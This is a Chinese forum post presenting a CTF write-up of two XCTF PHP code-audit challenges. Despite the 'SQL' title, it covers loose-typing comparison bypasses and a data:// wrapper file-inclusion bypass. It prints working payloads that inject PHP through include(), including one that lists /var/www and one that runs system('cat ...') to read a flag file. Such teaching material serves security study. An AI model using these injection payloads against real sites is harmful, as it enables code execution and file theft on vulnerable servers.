SQL代码审计(一)

711 4
kal 2021-9-10 19:51:48 | 显示全部楼层 |阅读模式
概念
代码审计(Code audit)是一种以发现程序错误,安全漏洞和违反程序规范为目标的源代码分析。软件代码审计是对编程项目中源代码的全面分析,旨在发现错误,安全漏洞或违反编程约定。 它是防御性编程范例的一个组成部分,它试图在软件发布之前减少错误。 C和C ++源代码是最常见的审计代码,因为许多高级语言(如Python)具有较少的潜在易受攻击的功能(例如,不检查边界的函数)。

对象
我们的代码审计对象包括并不限于对Windows和Linux系统环境下的以下语言进行审核:java、C、C#、ASP、PHP、JSP、.NET。

内容包括
1.前后台分离的运行架构
2.WEB服务的目录权限分类
3.认证会话与应用平台的结合
4.数据库的配置规范
5.SQL语句的编写规范
6WEB服务的权限配置
7.对抗爬虫引擎的处理措施
--------------------以上摘自:百度百科-----------------------
一、
分析以下源码
  1. &#65279;<?php
  2. show_source(__FILE__);
  3. include("config.php");
  4. $a=@$_GET['a'];
  5. $b=@$_GET['b'];
  6. if($a==0 and $a){
  7.     echo $flag1;
  8. }
  9. if(is_numeric($b)){
  10.     exit();
  11. }
  12. if($b>1234){
  13.     echo $flag2;
  14. }
  15. ?>
复制代码
关键代码:if($a==0 and $a)


要求,既要使a的值为零,又要使a的布尔值为真。很明显,用整形是行不通的。
即,利用php的弱类型。php中:值为'0'的变量与0比较会返回true。
构造payload
  1. ?a='0'
复制代码
得到回显,但是只有一半

继续分析下一段:
if(is_numeric($b))
if($b>1234)

is_numeric():判断是否为数字或为数字字符串。
还是不让直接给b赋值数值,那么继续使用弱类型。
'1236a==1236'为true

构造最终payload:
  1. ?a='0'&b=1236a
复制代码

二、分析以下源码:
  1. <?php
  2. show_source(__FILE__);
  3. echo $_GET['hello'];
  4. $page=$_GET['page'];
  5. while (strstr($page, "php://")) {
  6.     $page=str_replace("php://", "", $page);
  7. }
  8. include($page);
  9. ?>
复制代码
关注这一段:
  1. while (strstr($page, "php://")) {
  2.     $page=str_replace("php://", "", $page);
  3. }
复制代码
即判断我们传入的page的值是否包含"php://",如果有则过滤为""

然后用include()函数运行page所指定的文件

显然,它只过滤了"php://",我们还可以用其他的参数

伪协议

payload1:得到路径
  1. ?page=data://text/plain,<?php echo $_SERVER['DOCUMENT_ROOT'];?>
复制代码


payload:2打印该路径下的文件内容
  1. ?page=data://text/plain,<?php print_r(scandir('/var/www')); ?>
复制代码
flag文件近在眼前


最终payload:读取flag文件
  1. ?page=data://text/plain,<?php system("cat fl4gisisish3r3.php"); ?>
复制代码
但是尝试几次并没有发现回显,经查看原来在HTML源码中。
--题目来源:XCTF



本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

×
小远实名认证 2021-9-11 22:06:43 来自手机 | 显示全部楼层
我想让你上去
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

kal

初级红客

关注
  • 7
    主题
  • 5
    粉丝
  • 0
    关注
这家伙很懒,什么都没留下!

中国红客联盟公众号

联系站长QQ:5520533

admin@chnhonker.com
Copyright © 2001-2025 Discuz Team. Powered by Discuz! X3.5 ( 粤ICP备13060014号 )|天天打卡 本站已运行